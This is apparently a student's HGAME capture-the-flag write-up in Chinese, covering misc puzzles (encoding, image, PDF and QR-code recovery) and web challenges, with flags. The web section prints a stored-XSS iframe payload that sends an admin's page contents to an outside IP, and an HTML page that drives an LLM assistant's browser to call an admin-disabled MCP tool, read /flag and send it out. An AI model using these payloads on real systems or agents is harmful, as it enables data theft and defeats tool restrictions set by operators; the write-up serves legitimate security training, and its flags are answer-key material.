misc
week1
打好基础
得到一堆emoji,推测是base100,解码得到
1;f:JiwUgK5F*Ww3HGg1^4mXhVR;ZVI]v2wGX7Z12)xj7V1[!17]VA.*P?fXzCIU+//hKwf*<9[Mj?mI}86$zWt6+4qvuU{p!7S^So.WQh=Q6?v.*F\1fd*^4*FxzUJj4;*;(?s6|U_{jQx!P4*Q9^j2WJ<[jlqgg4iQF;m2WK-h5m=ldL|F+LI1p)WB\kE<J:c<v1]V)nA:,A_9\5M<zYR+f)-xIWn-]1SSLFz3zcV>?WDd-K<G(1kVnEh^bl*lvHo2Ku'+T)b?-nT;z2^&C8}V*/9V1T]m#DYFh=@W=tIm/j.j>ACtdw{5xU]bR@CJN3[Q^N82&ycUK>F
观察到base特征

扔进basecrack循环解码

hgame{L4y_a_sO11d_f0unDaTi0n}
shiori不想找女友
观察到图片内每隔6像素就会有一个特殊的像素,于是提取这些像素。
使用ps裁剪图片,上下左右都留3px,使每个点位于7x7像素的中央

然后使用临近硬边缘算法缩放图片,观察到图片有很多杂乱的线条,推测是宽度被修改过

写脚本,将像素按照不同宽度排列
1from PIL import Image
2import os
3
4def resize_by_padding(input_path, output_dir, target_widths):
5 img = Image.open(input_path)
6 original_width, original_height = img.size
7 pixels = list(img.getdata())
8
9 for target_width in target_widths:
10 new_height = (len(pixels) + target_width - 1) // target_width
11 new_img = Image.new(img.mode, (target_width, new_height))
12 new_img.putdata(pixels)
13
14 output_path = os.path.join(output_dir, f"output_w{target_width}.png")
15 new_img.save(output_path)
16 print(f"Saved: {output_path} ({target_width}x{new_height})")
17
18resize_by_padding("shiori.png", "output", [n for n in range(1, 2048)])
宽度450时还原得到原图

但是还是解不开压缩包...
[REDACTED]
提交说明: 附件中包含四段敏感字符串,格式为 [1-4]:.+。用下划线字符 连接去掉序号的四段字符串,包裹 hgame{} 后提交。例如,若四段敏感字符串分别为 1:Example、2:Redacted、3:Secret、4:Strings!,则提交的 flag 为 hgame{Example_Redacted_Secret_Strings_!}。
用学校的企业版wps编辑pdf
1.
1:PAR4D0X
2.
需要注意的是这里使用了特殊的文本编码,直接复制出来是不行的,使用ocr提取
11eyJhbGci0iJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjb21tYW5kIjoiMjpBbGxDbDNhc1RvUHIwY2V1ZCJ9.qZPdEp0icqFGvSP40i4dLUxiBK9yu8sRcmikNxXxnsY
解base64得到
2:AllCl3arToPr0ceed
3.
将图片扔进ps,可以发现涂黑部分里的文字3:Sh4m1R
4.pdf内已经没有信息了,于是考虑通用的misc思路,将整个文件binwalk+foremost,得到一个新的pdf
4:D0cR3qu3st3r_Tutuhgame{PAR4D0X_AllCl3arToPr0ceed_Sh4m1R_D0cR3qu3st3r_Tutu}
week2
Invest on Matrix
现在你有一个 25×25 的矩阵。
Hint 给出的内容是:将该矩阵按 从左到右、从上到下 的顺序划分为若干个 5×5 的子矩阵,并依次给出每个子矩阵按行优先(从左到右、从上到下)扁平化后的值。
例如:
1 pts 的 hint 对应给出 matrix[0:5, 0:5]子矩阵扁平化后的值。
2 pts 的 hint 对应给出 matrix[0:5, 5:10]子矩阵扁平化后的值。
...
6 pts 的 hint 对应给出 matrix[5:10, 0:5]子矩阵扁平化后的值。
以此类推,直到覆盖整个 25×25 矩阵。
这题有意思啊
手滑点开了hint9,又点开了hint1,在Excel上画了一下,感觉像是二维码

先要了解一下二维码的结构,上网搜索看到这个,

- 四个矩形称为定位图案,与二维码的版本(也就是大小)有关
- 横竖两条斑马线称为时序图案
- 三个大定位图案附近(红色)存储着格式信息,包括纠错等级和掩码类别
- 其余部分存储着原始数据(上图绿色)和纠错数据(上图灰色),填充顺序从右下角开始

已知这是一个25x25的二维码,所以这是一个版本2的二维码
先把已知的信息填入qrazybox

然后要确定格式信息。再点开hint2,通过hint2和hint9的一部分可以确定纠错级别为H,掩码类别为2

接下来就要考虑怎么做最经济了,之前我们知道右下角是原始数据,其余部分是纠错,所以纠错数据的数据密度比原始数据小,但是纠错数据的格子消耗的分数少,原始数据的格子消耗的分数多,综合考虑我选择只使用原始数据(后来实测这不是最优解,见下文)
解锁了hint25,24,20,15,14

使用工具里的Padding Bits Recovery可以根据已知信息补全一些格子


此时使用Extract QR Information和Reed-Solomon Decoder仍然不能解码(Reed-Solomon也就是原始数据块)
考虑到再解锁右下角的格子已经不经济了,于是选择解锁一些纠错数据
解锁hint3,4
此时已经可以成功解码

hgame{W0RTH_1T?}
总消耗:2+3+4+9+14+15+20+24+25=116
原始二维码:
后续写了个脚本遍历所有可能的hint组合,跑了一晚上,理论最优方案是解锁hint2, 3, 4, 6, 7, 8, 9, 10, 11, 13, 14, 15, 18, 20, 23=163pts。如果加上一些猜和推断的成分,理论上可以更少。

web
week1
魔理沙的魔法目录
发现每点开一篇文章就会记录阅读时长
重放攻击
hgame{YoU_AR3-41So-4_mAHOu_TsuKAI_NOWlc3c55}
博丽神社的绘马挂
灵梦为了增加参拜人数,在神社设立了绘马挂,人们可以在这里许愿🙏
但是灵梦在整理这些绘马的时候不太用心,出现了一些问题...而且她没有发现紫在归档完毕的绘马里藏了一些不可告人的秘密
(Flag格式为 Hgame{example_flag})
登录页发现没有做校验,任意账号密码都能登录,除了Reimu账号无法登陆,尝试简单的弱密码无果。
观察发现服务器中间件是nginx,但是不知道后端软件
点击“呼叫灵梦”之后alert“灵梦马上就来看看你的愿望~”,会发一个/api/report请求,并在约20秒后返回500 INTERNAL SERVER ERROR、{"status":"error"},而且在这20秒内发送新的请求会直接返回429 TOO MANY REQUESTS,嘶,难道灵梦真的在看我的愿望?
发现发布页面的输入框有xss,于是尝试读取Reimu视角下的index.html、post.html、archives.html,最终在archives.html找到flag(也就是提示的在归档完毕的绘马里藏了一些不可告人的秘密)
payload:
1<iframe src="archives.html" style="display:none" onload="setTimeout(()=>{
2 var flag = this.contentWindow.document.body.innerText;
3 fetch('http://115.29.209.11:8000/?flag=' + btoa(secret));
4}, 2000)"></iframe>
在vps上运行nc -l 8000,就能收到题目环境传出来的数据

Hgame{tHE-5ecR3T_0f_HAKuRei_JlNj4a4ab07b}
My Little Assistant
Woore最近在折腾一个“智能助手”,
它看起来很贴心:
能帮你分析网页
能访问外部资源
甚至还能“执行一些小工具”
但在信任这位小助手之前,你或许该想想:
它到底是在理解你的需求,还是在服从看到的一切?
通过简单的对话和阅读源码得知有两个mcp:py_request和py_eval,但测试发现py_eval无法使用,“py_eval被管理员禁用了”,同时py_request不能以http开头,测试发现file://也不能用,但是观察到源码里额外设置了跨域的属性

于是尝试在playwright环境中调用mcp
payload:
1<!DOCTYPE html>
2<html>
3<body>
4 <script>
5 async function execute() {
6 const payload = {
7 "jsonrpc": "2.0",
8 "id": 1,
9 "params": {
10 "name": "py_eval",
11 "arguments": {
12 "code": "result = open('/flag').read()"
13 }
14 }
15 };
16 const response = await fetch('http://127.0.0.1:8001/mcp', {
17 method: 'POST',
18 headers: {'Content-Type': 'application/json'},
19 body: JSON.stringify(payload)
20 })
21 await fetch('http://115.29.209.11:8000',{
22 method: 'POST',
23 body: btoa(response.text())
24 })
25 }
26 execute();
27 </script>
28</body>
29</html>

hgame{@imcP-DrivEN_xSS_@tTaCK_CHAln43eec05}